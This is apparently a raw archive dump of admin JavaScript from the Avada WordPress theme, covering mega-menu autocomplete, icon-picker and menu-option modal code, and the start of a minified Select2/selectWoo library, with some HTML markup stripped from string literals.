'hidden' ); } else { search.removeClass( 'hidden' ); } } ); jQuery( document ).on( 'click', '.autocomplete-container .selected-holder .remove', function( event ) { // eslint-disable-line no-unused-vars const input = jQuery( this ).parents( '.autocomplete-container' ).find( '.autocomplete-saved-value' ), selected = jQuery( this ).parent(); selected.remove(); input.val( '' ).trigger( 'change' ); } ); jQuery( document ).on( 'keyup focus', '.fusion-autocomplete-search', function( event ) { // eslint-disable-line no-unused-vars const input = jQuery( this ), val = input.val(), wrap = input.parent(), ajaxResults = wrap.find( '.autocomplete-ajax-results' ), valueInput = wrap.find( '.autocomplete-saved-value' ), selected = wrap.find( '.selected-holder' ), postType = input.data( 'post-type' ); if ( val && 2 < val.length ) { jQuery.ajax( { type: 'post', url: ajaxurl, dataType: 'json', data: { action: 'avada_mega_menu_autocomplete', nonce: AvadaMegaMenuVars.nonce, keyword: val, post_type: postType }, beforeSend: function () { ajaxResults.addClass( 'show' ).html( '
    ' + AvadaMegaMenuVars.text_loading + '' ); }, success: function ( response ) { ajaxResults.html( response.html ); } } ); } else { ajaxResults.removeClass( 'show' ); } wrap.on( 'click', '.autocomplete-ajax-results a', function( e ) { e.preventDefault(); valueInput.val( this.dataset.id ).trigger( 'change' ); selected.html( '
    ' + this.innerText + '
    ' ); input.val( '' ); } ); } ); }( jQuery ) ); Avada/assets/admin/js/fusion-menu-options.js000064400000051124152342437710015075 0ustar00/* global fusionMenuConfig, Fuse, fusionIconSearch, noUiSlider, wNumb */ var FusionDelay = ( function() { var timer = 0; return function( callback, ms ) { clearTimeout( timer ); timer = setTimeout( callback, ms ); }; }() ); function fusionIconPicker( value, id, container, search ) { var output = jQuery( '.fusion-icons-rendered' ).html(), outputNav = jQuery( '.fusion-icon-picker-nav-rendered' ).html(), $container = jQuery( container ), $containerParent = $container.parent(), oldIconName = '', valueSelector = '', selectedSetId = ''; if ( ! container.children().length ) { if ( 'undefined' !== typeof value && '' !== value ) { if ( 'fusion-prefix-' === value.substr( 0, 14 ) ) { // Custom icon, we need to remove prefix. value = value.replace( 'fusion-prefix-', '' ); } else { value = value.split( ' ' ); // Legacy FontAwesome 4.x icon, so we need check if it needs to be updated. if ( 'undefined' === typeof value[ 1 ] ) { value[ 1 ] = 'fas'; if ( 'undefined' !== typeof window[ 'fusion-fontawesome-free-shims' ] ) { // eslint-disable-line max-depth oldIconName = value[ 0 ].substr( 3 ); jQuery.each( window[ 'fusion-fontawesome-free-shims' ], function( i, shim ) { if ( shim[ 0 ] === oldIconName ) { // Update icon name. if ( null !== shim[ 2 ] ) { value[ 0 ] = 'fa-' + shim[ 2 ]; } // Update icon subset. if ( null !== shim[ 1 ] ) { value[ 1 ] = shim[ 1 ]; } return false; } } ); // Update form field with new values. $containerParent.find( '.fusion-iconpicker-input' ).attr( 'value', value[ 0 ] + ' ' + value[ 1 ] ); } } } } // Add icon container and icon navigation. $container.append( output ).before( '
    ' + outputNav + '
    ' ); // Icon navigation link is clicked. $containerParent.find( '.fusion-icon-picker-nav > a' ).on( 'click', function( e ) { e.preventDefault(); jQuery( '.fusion-icon-picker-nav-active' ).removeClass( 'fusion-icon-picker-nav-active' ); jQuery( this ).addClass( 'fusion-icon-picker-nav-active' ); $container.find( '.fusion-icon-set' ).css( 'display', 'none' ); $container.find( jQuery( this ).attr( 'href' ) ).css( 'display', 'grid' ); } ); // Scroll nav div to right. $containerParent.find( '.fusion-icon-picker-nav-wrapper > .fusion-icon-picker-nav-right' ).on( 'click', function( e ) { e.preventDefault(); $containerParent.find( '.fusion-icon-picker-nav' ).animate( { scrollLeft: '+=100' }, 250 ); } ); // Scroll nav div to left. $containerParent.find( '.fusion-icon-picker-nav-wrapper > .fusion-icon-picker-nav-left' ).on( 'click', function( e ) { e.preventDefault(); $containerParent.find( '.fusion-icon-picker-nav' ).animate( { scrollLeft: '-=100' }, 250 ); } ); if ( '' !== value ) { // FA or custom icon. valueSelector = '.' + ( Array.isArray( value ) ? value.join( '.' ) : value ); $container.find( valueSelector ).parent().addClass( 'selected-element' ).css( 'display', 'flex' ); // Trigger click on parent nav tab item. selectedSetId = $container.find( '.selected-element' ).closest( '.fusion-icon-set' ).prepend( $container.find( '.selected-element' ) ).attr( 'id' ); $containerParent.find( '.fusion-icon-picker-nav a[href="#' + selectedSetId + '"]' ).trigger( 'click' ); } } // Icon Search bar jQuery( search ).on( 'change paste keyup', function() { var thisEl = jQuery( this ); FusionDelay( function() { var options, fuse, result; if ( thisEl.val() ) { value = thisEl.val().toLowerCase(); if ( 3 > value.length ) { return; } $container.find( '.fusion-icon-set .icon_preview' ).css( 'display', 'none' ); options = { threshold: 0.2, location: 0, distance: 100, maxPatternLength: 32, minMatchCharLength: 3, keys: [ 'name', 'keywords', 'categories' ] }; fuse = new Fuse( fusionIconSearch, options ); result = fuse.search( value ); _.each( result, function( resultIcon ) { $container.find( '.icon_preview.' + resultIcon.name ).css( 'display', 'flex' ); } ); // Add attributes to iconset containers. _.each( $container.find( '.fusion-icon-set' ), function( subContainer ) { var hasSearchResults = false; subContainer.classList.add( 'no-search-results' ); jQuery( '.icon_preview' ).each( function( i, icon ) { if ( 'none' !== icon.style.display && subContainer.classList.contains( 'no-search-results' ) ) { hasSearchResults = true; } } ); if ( ! hasSearchResults && ! subContainer.querySelector( '.no-search-results-notice' ) ) { jQuery( subContainer ).append( '
    ' + fusionMenuConfig.no_results_in.replace( '%s', jQuery( 'a[href="#' + subContainer.id + '"]' ).html() ) + '
    ' ); } else if ( hasSearchResults ) { subContainer.classList.remove( 'no-search-results' ); } } ); } else { $container.find( '.fusion-icon-set .icon_preview' ).css( 'display', 'flex' ); _.each( $container.find( '.fusion-icon-set' ), function( subContainer ) { subContainer.classList.remove( 'no-search-results' ); } ); } }, 100 ); } ); // Iconpicker select/deselect handler. jQuery( container ).find( 'span' ).off(); jQuery( container ).find( 'span' ).on( 'click', function( e ) { var fontName, subset = 'fas', $i = jQuery( this ).find( 'i' ), fielDValue = ''; e.preventDefault(); fontName = 'fa-' + jQuery( this ).find( 'i' ).attr( 'data-name' ); if ( ! $i.hasClass( 'fas' ) && ! $i.hasClass( 'fab' ) && ! $i.hasClass( 'far' ) && ! $i.hasClass( 'fal' ) ) { // Custom icon set, so we need to add prefix. fielDValue = 'fusion-prefix-' + jQuery( this ).find( 'i' ).attr( 'class' ); } else if ( $i.hasClass( 'fab' ) ) { subset = 'fab'; } else if ( $i.hasClass( 'far' ) ) { subset = 'far'; } else if ( $i.hasClass( 'fal' ) ) { subset = 'fal'; } // FA icon. if ( '' === fielDValue ) { fielDValue = fontName + ' ' + subset; } if ( jQuery( this ).hasClass( 'selected-element' ) ) { $containerParent.find( '.selected-element' ).removeClass( 'selected-element' ); $containerParent.find( '.fusion-iconpicker-input' ).attr( 'value', '' ).trigger( 'change' ); } else { $containerParent.find( '.selected-element' ).removeClass( 'selected-element' ); jQuery( this ).find( 'i' ).parent().addClass( 'selected-element' ); $containerParent.find( '.fusion-iconpicker-input' ).attr( 'value', fielDValue ).trigger( 'change' ); } } ); } jQuery( window ).on( 'load', function() { var $wrapEl, itemWrapEl; if ( jQuery( 'body' ).hasClass( 'widgets-php' ) ) { $wrapEl = jQuery( 'body' ).hasClass( 'widgets_access' ) ? jQuery( '.editwidget' ) : jQuery( '.widget-liquid-right' ); itemWrapEl = '.widget-inside'; } else { $wrapEl = jQuery( '#post-body' ); itemWrapEl = '.menu-item-settings'; } // Backup holder in case of cancel. jQuery( 'body' ).append( '
    ' ); // On open. $wrapEl.on( 'click', '.fusion-menu-option-trigger', function( event ) { var $value = jQuery( this ).parent().find( '.fusion-iconpicker-input' ).val(), $id = jQuery( this ).parent().find( '.fusion-iconpicker-input' ).attr( 'id' ), $container = jQuery( this ).parent().find( '.icon_select_container' ), $search = jQuery( this ).parent().find( '.fusion-icon-search' ), $options = jQuery( this ).parent().find( '.fusion-options-holder' ), $holder = jQuery( this ).parents( '.menu-item-settings' ), $modal = jQuery( this ).parent().find( '.fusion-builder-modal-settings-container' ), $colorPicker = jQuery( this ).parent().find( '.fusion-builder-color-picker-hex' ), $clone, $rangeSlider, $i; event.preventDefault(); if ( 'undefined' !== typeof $id ) { fusionIconPicker( $value, $id, $container, $search ); } jQuery( $holder ).addClass( 'fusion-active' ); jQuery( this ).parent().find( '.fusion_builder_modal_overlay' ).show(); jQuery( $modal ).show(); jQuery( 'body' ).addClass( 'fusion_builder_no_scroll' ); // Button set functionality. jQuery( $modal ).find( '.fusion-form-radio-button-set a' ).on( 'click', function( scopedEvent ) { var $radiosetcontainer; scopedEvent.preventDefault(); $radiosetcontainer = jQuery( this ).parents( '.fusion-form-radio-button-set' ); $radiosetcontainer.find( '.ui-state-active' ).removeClass( 'ui-state-active' ); jQuery( this ).addClass( 'ui-state-active' ); $radiosetcontainer.find( '.button-set-value' ).val( $radiosetcontainer.find( '.ui-state-active' ).data( 'value' ) ).trigger( 'change' ); } ); // Save as a backup. $clone = jQuery( $options ).clone( true, true ); jQuery( '.fusion-menu-clone' ).append( $clone ); // Select field functionality. jQuery( $modal ).find( '.fusion-builder-option select' ).selectWoo( { minimumResultsForSearch: 10, dropdownCssClass: 'avada-select2', width: '100%' } ); if ( $colorPicker.length ) { $colorPicker.each( function() { if ( ! jQuery( this ).closest( '.wp-picker-container' ).length ) { jQuery( this ).awbColorPicker(); } } ); } if ( '.widget-inside' === itemWrapEl && 'auto' !== jQuery( this ).closest( '.widget' ).css( 'z-index' ) ) { jQuery( this ).closest( '.widget' ).css( 'z-index', '99999' ); } $rangeSlider = jQuery( $modal ).find( '.fusion-builder-option.avada-range .fusion-slider-container' ); if ( $rangeSlider.length ) { // Counter variable for sliders $i = 0; // Method for retreiving decimal places from step Number.prototype.countDecimals = function() { // eslint-disable-line no-extend-native if ( Math.floor( this.valueOf() ) === this.valueOf() ) { return 0; } return this.toString().split( '.' )[ 1 ].length || 0; }; // Each slider on page, determine settings and create slider $rangeSlider.each( function() { var $targetId = jQuery( this ).data( 'id' ), $rangeInput = jQuery( this ).prev( '.fusion-slider-input' ), $min = jQuery( this ).data( 'min' ), $max = jQuery( this ).data( 'max' ), $step = jQuery( this ).data( 'step' ), $direction = jQuery( this ).data( 'direction' ), scopedVal = $rangeInput.val(), $decimals = $step.countDecimals(), $rangeDefault = ( jQuery( this ).parents( '.fusion-builder-option' ).find( '.fusion-range-default' ).length ) ? jQuery( this ).parents( '.fusion-builder-option' ).find( '.fusion-range-default' ) : false, $hiddenValue = ( $rangeDefault ) ? jQuery( this ).parent().find( '.fusion-hidden-value' ) : false, $defaultValue = ( $rangeDefault ) ? jQuery( this ).parents( '.fusion-builder-option' ).find( '.fusion-range-default' ).data( 'default' ) : false; createSlider( $i, $targetId, $rangeSlider, $rangeInput, $min, $max, $step, scopedVal, $decimals, $rangeDefault, $hiddenValue, $defaultValue, $direction ); $i++; } ); } // Trigger special links. jQuery( $modal ).find( '.fusion-megamenu-special-link' ).trigger( 'change' ); jQuery( $modal ).find( '.edit-menu-item-megamenu-show-woo-cart-counter .button-set-value' ).trigger( 'change' ); } ); // On cancel. $wrapEl.on( 'click', '.fusion-builder-modal-close', function( event ) { var $backup = jQuery( '.fusion-menu-clone' ).find( '.fusion-builder-modal-settings-container' ).hide(), colorPickers = jQuery( this ).closest( '.fusion-builder-modal-settings-container' ).find( '.fusion-builder-option .wp-color-picker' ); event.preventDefault(); if ( '.widget-inside' === itemWrapEl && 'auto' !== jQuery( this ).closest( '.widget' ).css( 'z-index' ) ) { jQuery( this ).closest( '.widget' ).css( 'z-index', '100' ); } if ( colorPickers.length ) { colorPickers.each( function() { if ( jQuery( this ).closest( '.wp-picker-container' ).hasClass( 'wp-picker-active' ) ) { jQuery( this ).awbColorPicker( 'close' ); } } ); } jQuery( '.fusion-builder-option select.select2-hidden-accessible' ).selectWoo( 'destroy' ); jQuery( '.fusion-active' ).removeClass( 'fusion-active' ); jQuery( this ).parents( '.fusion-builder-modal-settings-container' ).replaceWith( $backup ); jQuery( this ).parents( '.fusion-builder-modal-settings-container' ).hide(); jQuery( '.fusion_builder_modal_overlay' ).hide(); jQuery( 'body' ).removeClass( 'fusion_builder_no_scroll' ); jQuery( '.fusion-menu-clone' ).html( '' ); } ); // On outside click. $wrapEl.on( 'click', itemWrapEl + ' .fusion_builder_modal_overlay', function( event ) { var $backup = jQuery( '.fusion-menu-clone' ).find( '.fusion-builder-modal-settings-container' ).hide(), settingsContainer = jQuery( this ).next( '.fusion-builder-modal-settings-container' ), colorPickers = settingsContainer.find( '.fusion-builder-option .wp-color-picker' ), rangeSlider = settingsContainer.find( '.fusion-builder-option.avada-range .fusion-slider-container' ); event.preventDefault(); if ( '.widget-inside' === itemWrapEl && 'auto' !== jQuery( this ).closest( '.widget' ).css( 'z-index' ) ) { jQuery( this ).closest( '.widget' ).css( 'z-index', '100' ); } if ( 'undefined' !== typeof rangeSlider && 0 < rangeSlider.length ) { rangeSlider.each( function() { this.noUiSlider.destroy(); } ); } if ( colorPickers.length ) { colorPickers.each( function() { if ( jQuery( this ).closest( '.wp-picker-container' ).hasClass( 'wp-picker-active' ) ) { jQuery( this ).awbColorPicker( 'close' ); } } ); } jQuery( '.fusion-builder-option select.select2-hidden-accessible' ).selectWoo( 'destroy' ); jQuery( '.fusion-active' ).removeClass( 'fusion-active' ); jQuery( this ).next().replaceWith( $backup ); jQuery( this ).next().hide(); jQuery( '.fusion_builder_modal_overlay' ).hide(); jQuery( 'body' ).removeClass( 'fusion_builder_no_scroll' ); jQuery( '.fusion-menu-clone' ).html( '' ); } ); // On save, $wrapEl.on( 'click', '.fusion-builder-modal-save', function( event ) { var settingsContainer = jQuery( this ).closest( '.fusion-builder-modal-settings-container' ), colorPickers = jQuery( this ).closest( '.fusion-builder-modal-settings-container' ).find( '.fusion-builder-option .wp-color-picker' ), rangeSlider = settingsContainer.find( '.fusion-builder-option.avada-range .fusion-slider-container' ); event.preventDefault(); if ( '.widget-inside' === itemWrapEl && 'auto' !== jQuery( this ).closest( '.widget' ).css( 'z-index' ) ) { jQuery( this ).closest( '.widget' ).css( 'z-index', '100' ); } if ( 'undefined' !== typeof rangeSlider && 0 < rangeSlider.length ) { rangeSlider.each( function() { this.noUiSlider.destroy(); } ); } if ( colorPickers.length ) { colorPickers.each( function() { if ( jQuery( this ).closest( '.wp-picker-container' ).hasClass( 'wp-picker-active' ) ) { jQuery( this ).awbColorPicker( 'close' ); } } ); } jQuery( '.fusion-builder-option select.select2-hidden-accessible' ).selectWoo( 'destroy' ); jQuery( '.fusion-active' ).removeClass( 'fusion-active' ); jQuery( this ).parents( '.fusion-builder-modal-settings-container' ).hide(); jQuery( '.fusion_builder_modal_overlay' ).hide(); jQuery( 'body' ).removeClass( 'fusion_builder_no_scroll' ); jQuery( '.fusion-menu-clone' ).html( '' ); fusionMenuOptionsResetWooFragments(); } ); function createSlider( $slide, $targetId, $rangeSlider, $rangeInput, $min, $max, $step, $value, $decimals, $rangeDefault, $hiddenValue, $defaultValue, $direction ) { // Create slider with values passed on in data attributes. var $slider = noUiSlider.create( $rangeSlider[ $slide ], { start: [ $value ], step: $step, direction: $direction, range: { min: $min, max: $max }, format: wNumb( { decimals: $decimals } ) } ), $notFirst = false; // Check if default is currently set. if ( $rangeDefault && '' === $hiddenValue.val() ) { $rangeDefault.parent().addClass( 'checked' ); } // If this range has a default option then if checked set slider value to data-value. if ( $rangeDefault ) { $rangeDefault.on( 'click', function( e ) { e.preventDefault(); $rangeSlider[ $slide ].noUiSlider.set( $defaultValue ); $hiddenValue.val( '' ); jQuery( this ).parent().addClass( 'checked' ); // Specific for Widget modals. if ( '.widget-inside' === itemWrapEl ) { jQuery( this ).closest( '.widget' ).find( '.widget-control-save' ).prop( 'disabled', false ); } } ); } // On slider move, update input $slider.on( 'update', function( values, handle ) { if ( $rangeDefault && $notFirst ) { $rangeDefault.parent().removeClass( 'checked' ); $hiddenValue.val( values[ handle ] ); } $notFirst = true; jQuery( this.target ).closest( '.fusion-slider-container' ).prev().val( values[ handle ] ); jQuery( '#' + $targetId ).trigger( 'change' ); if ( jQuery( '#' + $targetId ).length ) { jQuery( '#' + $targetId ).trigger( 'fusion-changed' ); } else { jQuery( '#slider' + $targetId ).trigger( 'fusion-changed' ); } // Specific for Widget modals. if ( '.widget-inside' === itemWrapEl ) { jQuery( this.target ).closest( '.widget' ).find( '.widget-control-save' ).prop( 'disabled', false ); if ( '0' === jQuery( this.target ).siblings( '.fusion-slider-input' ).val() ) { jQuery( this.target ).closest( '.fusion-options-holder' ).addClass( 'fusion-widget-no-border' ); } else { jQuery( this.target ).closest( '.fusion-options-holder' ).removeClass( 'fusion-widget-no-border' ); } } } ); // On manual input change, update slider position $rangeInput.on( 'keyup', function() { var rangeSlider = jQuery( this ).next( '.fusion-slider-container' ); if ( this.value !== rangeSlider[ $slide ].noUiSlider.get() ) { // This triggers 'update' event. rangeSlider[ $slide ].noUiSlider.set( this.value ); } } ); } } ); jQuery( document ).ready( function() { ( function initIconPicker() { var icons = fusionMenuConfig.fontawesomeicons, output = '
    ', outputSets = { fas: '', fab: '', far: '', fal: '' }, iconSubsets = { fas: 'Solid', far: 'Regular', fal: 'Light', fab: 'Brands' }, outputNav = '
    ', isSearchDefined = 'undefined' !== typeof fusionIconSearch && Array.isArray( fusionIconSearch ); // Iterate through all FA icons and divide them into sets (one icon can belong to multiple sets). _.each( icons, function( icon, key ) { _.each( icon[ 1 ], function( iconSubset ) { if ( -1 !== fusionMenuConfig.fontawesomesubsets.indexOf( iconSubset ) ) { outputSets[ iconSubset ] += ''; } } ); } ); // Add FA sets to output. _.each( iconSubsets, function( label, key ) { if ( -1 !== fusionMenuConfig.fontawesomesubsets.indexOf( key ) ) { outputNav += '' + label + ''; output += '
    ' + outputSets[ key ] + '
    '; } } ); // WIP: Add custom icons. icons = fusionMenuConfig.customIcons; _.each( icons, function( iconSet, IconSetKey ) { outputNav += '' + iconSet.name + ''; output += '
    '; _.each( iconSet.icons, function( icon ) { if ( isSearchDefined ) { fusionIconSearch.push( { name: icon } ); } output += ''; } ); output += '
    '; } ); outputNav += '
    '; output += '
    '; jQuery( 'body' ).append( output + outputNav ); }() ); } ); // Delete cart fragments. function fusionMenuOptionsResetWooFragments() { var keys = Object.keys( window.sessionStorage ); jQuery( keys ).each( function( i, key ) { if ( -1 < key.indexOf( 'wc_fragments_' ) ) { window.sessionStorage.removeItem( key ); } } ); } Avada/assets/admin/js/selectWoo.full.min.js000064400000226362152342437710014636 0ustar00/*! Select2 1.0.1 | https://github.com/select2/select2/blob/master/LICENSE.md */!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof module&&module.exports?module.exports=function(b,c){return void 0===c&&(c="undefined"!=typeof window?require("jquery"):require("jquery")(b)),a(c),c}:a(jQuery)}(function(a){var b=function(){if(a&&a.fn&&a.fn.select2&&a.fn.select2.amd)var b=a.fn.select2.amd;var b;return function(){if(!b||!b.requirejs){b?c=b:b={};var a,c,d;!function(b){function e(a,b){return v.call(a,b)}function f(a,b){var c,d,e,f,g,h,i,j,k,l,m,n,o=b&&b.split("/"),p=t.map,q=p&&p["*"]||{};if(a){for(a=a.split("/"),g=a.length-1,t.nodeIdCompat&&x.test(a[g])&&(a[g]=a[g].replace(x,"")),"."===a[0].charAt(0)&&o&&(n=o.slice(0,o.length-1),a=n.concat(a)),k=0;k0&&(a.splice(k-1,2),k-=2)}a=a.join("/")}if((o||q)&&p){for(c=a.split("/"),k=c.length;k>0;k-=1){if(d=c.slice(0,k).join("/"),o)for(l=o.length;l>0;l-=1)if((e=p[o.slice(0,l).join("/")])&&(e=e[d])){f=e,h=k;break}if(f)break;!i&&q&&q[d]&&(i=q[d],j=k)}!f&&i&&(f=i,h=j),f&&(c.splice(0,h,f),a=c.join("/"))}return a}function g(a,c){return function(){var d=w.call(arguments,0);return"string"!=typeof d[0]&&1===d.length&&d.push(null),o.apply(b,d.concat([a,c]))}}function h(a){return function(b){return f(b,a)}}function i(a){return function(b){r[a]=b}}function j(a){if(e(s,a)){var c=s[a];delete s[a],u[a]=!0,n.apply(b,c)}if(!e(r,a)&&!e(u,a))throw new Error("No "+a);return r[a]}function k(a){var b,c=a?a.indexOf("!"):-1;return c>-1&&(b=a.substring(0,c),a=a.substring(c+1,a.length)),[b,a]}function l(a){return a?k(a):[]}function m(a){return function(){return t&&t.config&&t.config[a]||{}}}var n,o,p,q,r={},s={},t={},u={},v=Object.prototype.hasOwnProperty,w=[].slice,x=/\.js$/;p=function(a,b){var c,d=k(a),e=d[0],g=b[1];return a=d[1],e&&(e=f(e,g),c=j(e)),e?a=c&&c.normalize?c.normalize(a,h(g)):f(a,g):(a=f(a,g),d=k(a),e=d[0],a=d[1],e&&(c=j(e))),{f:e?e+"!"+a:a,n:a,pr:e,p:c}},q={require:function(a){return g(a)},exports:function(a){var b=r[a];return void 0!==b?b:r[a]={}},module:function(a){return{id:a,uri:"",exports:r[a],config:m(a)}}},n=function(a,c,d,f){var h,k,m,n,o,t,v,w=[],x=typeof d;if(f=f||a,t=l(f),"undefined"===x||"function"===x){for(c=!c.length&&d.length?["require","exports","module"]:c,o=0;o0&&(b.call(arguments,a.prototype.constructor),e=c.prototype.constructor),e.apply(this,arguments)}function e(){this.constructor=d}var f=b(c),g=b(a);c.displayName=a.displayName,d.prototype=new e;for(var h=0;h":">",'"':""","'":"'","/":"/"};return"string"!=typeof a?a:String(a).replace(/[&<>"'\/\\]/g,function(a){return b[a]})},c.appendMany=function(b,c){if("1.7"===a.fn.jquery.substr(0,3)){var d=a();a.map(c,function(a){d=d.add(a)}),c=d}b.append(c)},c.isTouchscreen=function(){return void 0===c._isTouchscreenCache&&(c._isTouchscreenCache="ontouchstart"in document.documentElement),c._isTouchscreenCache},c}),b.define("select2/results",["jquery","./utils"],function(a,b){function c(a,b,d){this.$element=a,this.data=d,this.options=b,c.__super__.constructor.call(this)}return b.Extend(c,b.Observable),c.prototype.render=function(){var b=a('
      ');return this.options.get("multiple")&&b.attr("aria-multiselectable","true"),this.$results=b,b},c.prototype.clear=function(){this.$results.empty()},c.prototype.displayMessage=function(b){var c=this.options.get("escapeMarkup");this.clear(),this.hideLoading();var d=a(''),e=this.options.get("translations").get(b.message);d.append(c(e(b.args))),d[0].className+=" select2-results__message",this.$results.append(d)},c.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()},c.prototype.append=function(a){this.hideLoading();var b=[];if(null==a.results||0===a.results.length)return void(0===this.$results.children().length&&this.trigger("results:message",{message:"noResults"}));a.results=this.sort(a.results);for(var c=0;c0?b.first().trigger("mouseenter"):a.first().trigger("mouseenter"),this.ensureHighlightVisible()},c.prototype.setClasses=function(){var b=this;this.data.current(function(c){var d=a.map(c,function(a){return a.id.toString()});b.$results.find(".select2-results__option[data-selected]").each(function(){var b=a(this),c=a.data(this,"data"),e=""+c.id;null!=c.element&&c.element.selected||null==c.element&&a.inArray(e,d)>-1?b.attr("data-selected","true"):b.attr("data-selected","false")})})},c.prototype.showLoading=function(a){this.hideLoading();var b=this.options.get("translations").get("searching"),c={disabled:!0,loading:!0,text:b(a)},d=this.option(c);d.className+=" loading-results",this.$results.prepend(d)},c.prototype.hideLoading=function(){this.$results.find(".loading-results").remove()},c.prototype.option=function(b){var c=document.createElement("li");c.className="select2-results__option";var d={role:"option","data-selected":"false",tabindex:-1};b.disabled&&(delete d["data-selected"],d["aria-disabled"]="true"),null==b.id&&delete d["data-selected"],null!=b._resultId&&(c.id=b._resultId),b.title&&(c.title=b.title),b.children&&(d["aria-label"]=b.text,delete d["data-selected"]);for(var e in d){var f=d[e];c.setAttribute(e,f)}if(b.children){var g=a(c),h=document.createElement("strong");h.className="select2-results__group";var i=a(h);this.template(b,h),i.attr("role","presentation");for(var j=[],k=0;k",{class:"select2-results__options select2-results__options--nested",role:"listbox"});n.append(j),g.attr("role","list"),g.append(h),g.append(n)}else this.template(b,c);return a.data(c,"data",b),c},c.prototype.bind=function(b,c){var d=this,e=b.id+"-results";this.$results.attr("id",e),b.on("results:all",function(a){d.clear(),d.append(a.data),b.isOpen()&&(d.setClasses(),d.highlightFirstItem())}),b.on("results:append",function(a){d.append(a.data),b.isOpen()&&d.setClasses()}),b.on("query",function(a){d.hideMessages(),d.showLoading(a)}),b.on("select",function(){b.isOpen()&&(d.setClasses(),d.highlightFirstItem())}),b.on("unselect",function(){b.isOpen()&&(d.setClasses(),d.highlightFirstItem())}),b.on("open",function(){d.$results.attr("aria-expanded","true"),d.$results.attr("aria-hidden","false"),d.setClasses(),d.ensureHighlightVisible()}),b.on("close",function(){d.$results.attr("aria-expanded","false"),d.$results.attr("aria-hidden","true"),d.$results.removeAttr("aria-activedescendant")}),b.on("results:toggle",function(){var a=d.getHighlightedResults();0!==a.length&&a.trigger("mouseup")}),b.on("results:select",function(){var a=d.getHighlightedResults();if(0!==a.length){var b=a.data("data");"true"==a.attr("data-selected")?d.trigger("close",{}):d.trigger("select",{data:b})}}),b.on("results:previous",function(){var a=d.getHighlightedResults(),b=d.$results.find("[data-selected]"),c=b.index(a);if(0!==c){var e=c-1;0===a.length&&(e=0);var f=b.eq(e);f.trigger("mouseenter");var g=d.$results.offset().top,h=f.offset().top,i=d.$results.scrollTop()+(h-g);0===e?d.$results.scrollTop(0):h-g<0&&d.$results.scrollTop(i)}}),b.on("results:next",function(){var a=d.getHighlightedResults(),b=d.$results.find("[data-selected]"),c=b.index(a),e=c+1;if(!(e>=b.length)){var f=b.eq(e);f.trigger("mouseenter");var g=d.$results.offset().top+d.$results.outerHeight(!1),h=f.offset().top+f.outerHeight(!1),i=d.$results.scrollTop()+h-g;0===e?d.$results.scrollTop(0):h>g&&d.$results.scrollTop(i)}}),b.on("results:focus",function(a){a.element.addClass("select2-results__option--highlighted").attr("aria-selected","true"),d.$results.attr("aria-activedescendant",a.element.attr("id"))}),b.on("results:message",function(a){d.displayMessage(a)}),a.fn.mousewheel&&this.$results.on("mousewheel",function(a){var b=d.$results.scrollTop(),c=d.$results.get(0).scrollHeight-b+a.deltaY,e=a.deltaY>0&&b-a.deltaY<=0,f=a.deltaY<0&&c<=d.$results.height();e?(d.$results.scrollTop(0),a.preventDefault(),a.stopPropagation()):f&&(d.$results.scrollTop(d.$results.get(0).scrollHeight-d.$results.height()),a.preventDefault(),a.stopPropagation())}),this.$results.on("mouseup",".select2-results__option[data-selected]",function(b){var c=a(this),e=c.data("data");if("true"===c.attr("data-selected"))return void(d.options.get("multiple")?d.trigger("unselect",{originalEvent:b,data:e}):d.trigger("close",{}));d.trigger("select",{originalEvent:b,data:e})}),this.$results.on("mouseenter",".select2-results__option[data-selected]",function(b){var c=a(this).data("data");d.getHighlightedResults().removeClass("select2-results__option--highlighted").attr("aria-selected","false"),d.trigger("results:focus",{data:c,element:a(this)})})},c.prototype.getHighlightedResults=function(){return this.$results.find(".select2-results__option--highlighted")},c.prototype.destroy=function(){this.$results.remove()},c.prototype.ensureHighlightVisible=function(){var a=this.getHighlightedResults();if(0!==a.length){var b=this.$results.find("[data-selected]"),c=b.index(a),d=this.$results.offset().top,e=a.offset().top,f=this.$results.scrollTop()+(e-d),g=e-d;f-=2*a.outerHeight(!1),c<=2?this.$results.scrollTop(0):(g>this.$results.outerHeight()||g<0)&&this.$results.scrollTop(f)}},c.prototype.template=function(b,c){var d=this.options.get("templateResult"),e=this.options.get("escapeMarkup"),f=d(b,c);null==f?c.style.display="none":"string"==typeof f?c.innerHTML=e(f):a(c).append(f)},c}),b.define("select2/keys",[],function(){return{BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46}}),b.define("select2/selection/base",["jquery","../utils","../keys"],function(a,b,c){function d(a,b){this.$element=a,this.options=b,d.__super__.constructor.call(this)}return b.Extend(d,b.Observable),d.prototype.render=function(){var b=a('');return this._tabindex=0,null!=this.$element.data("old-tabindex")?this._tabindex=this.$element.data("old-tabindex"):null!=this.$element.attr("tabindex")&&(this._tabindex=this.$element.attr("tabindex")),b.attr("title",this.$element.attr("title")),b.attr("tabindex",this._tabindex),this.$selection=b,b},d.prototype.bind=function(a,b){var d=this,e=(a.id,a.id+"-results");this.options.get("minimumResultsForSearch");this.container=a,this.$selection.on("focus",function(a){d.trigger("focus",a)}),this.$selection.on("blur",function(a){d._handleBlur(a)}),this.$selection.on("keydown",function(a){d.trigger("keypress",a),a.which===c.SPACE&&a.preventDefault()}),a.on("results:focus",function(a){d.$selection.attr("aria-activedescendant",a.data._resultId)}),a.on("selection:update",function(a){d.update(a.data)}),a.on("open",function(){d.$selection.attr("aria-expanded","true"),d.$selection.attr("aria-owns",e),d._attachCloseHandler(a)}),a.on("close",function(){d.$selection.attr("aria-expanded","false"),d.$selection.removeAttr("aria-activedescendant"),d.$selection.removeAttr("aria-owns"),window.setTimeout(function(){d.$selection.focus()},1),d._detachCloseHandler(a)}),a.on("enable",function(){d.$selection.attr("tabindex",d._tabindex)}),a.on("disable",function(){d.$selection.attr("tabindex","-1")})},d.prototype._handleBlur=function(b){var c=this;window.setTimeout(function(){document.activeElement==c.$selection[0]||a.contains(c.$selection[0],document.activeElement)||c.trigger("blur",b)},1)},d.prototype._attachCloseHandler=function(b){a(document.body).on("mousedown.select2."+b.id,function(b){var c=a(b.target),d=c.closest(".select2");a(".select2.select2-container--open").each(function(){var 